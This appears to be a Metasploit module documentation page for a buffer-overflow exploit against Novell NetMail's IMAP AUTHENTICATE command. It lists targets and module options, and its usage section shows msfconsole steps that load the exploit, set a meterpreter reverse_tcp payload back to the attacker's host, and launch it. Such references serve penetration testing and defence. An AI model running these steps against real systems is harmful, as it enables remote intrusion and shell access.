Novell NetMail <=3.52d IMAP AUTHENTICATE Buffer Overflow
This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP AUTHENTICATE GSSAPI command. By sending an overly long string, an attacker can overwrite the buffer and control program execution. Using the PAYLOAD of windows/shell_bind_tcp or windows/shell_reverse_tcp allows for the most reliable results.
Exploit Rank
- Average
Exploit Authors
- MC < mc [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Windows 2000 SP0-SP4 English (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/imap/eudora_list
- exploit/windows/imap/imail_delete
- exploit/windows/imap/ipswitch_search
- exploit/windows/imap/mailenable_login
- exploit/windows/imap/mailenable_status
- exploit/windows/imap/mailenable_w3c_select
- exploit/windows/imap/mdaemon_cram_md5
- exploit/windows/imap/mdaemon_fetch
- exploit/windows/imap/mercur_imap_select_overflow
- exploit/windows/imap/mercur_login
Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/imap/novell_netmail_auth
msf exploit(novell_netmail_auth) > show payloads
msf exploit(novell_netmail_auth) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(novell_netmail_auth) > set LHOST [MY IP ADDRESS]
msf exploit(novell_netmail_auth) > set RHOST [TARGET IP]
msf exploit(novell_netmail_auth) > exploit
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msf > use exploit/windows/imap/novell_netmail_auth
msf exploit(novell_netmail_auth) > show payloads
msf exploit(novell_netmail_auth) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(novell_netmail_auth) > set LHOST [MY IP ADDRESS]
msf exploit(novell_netmail_auth) > set RHOST [TARGET IP]
msf exploit(novell_netmail_auth) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 143) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |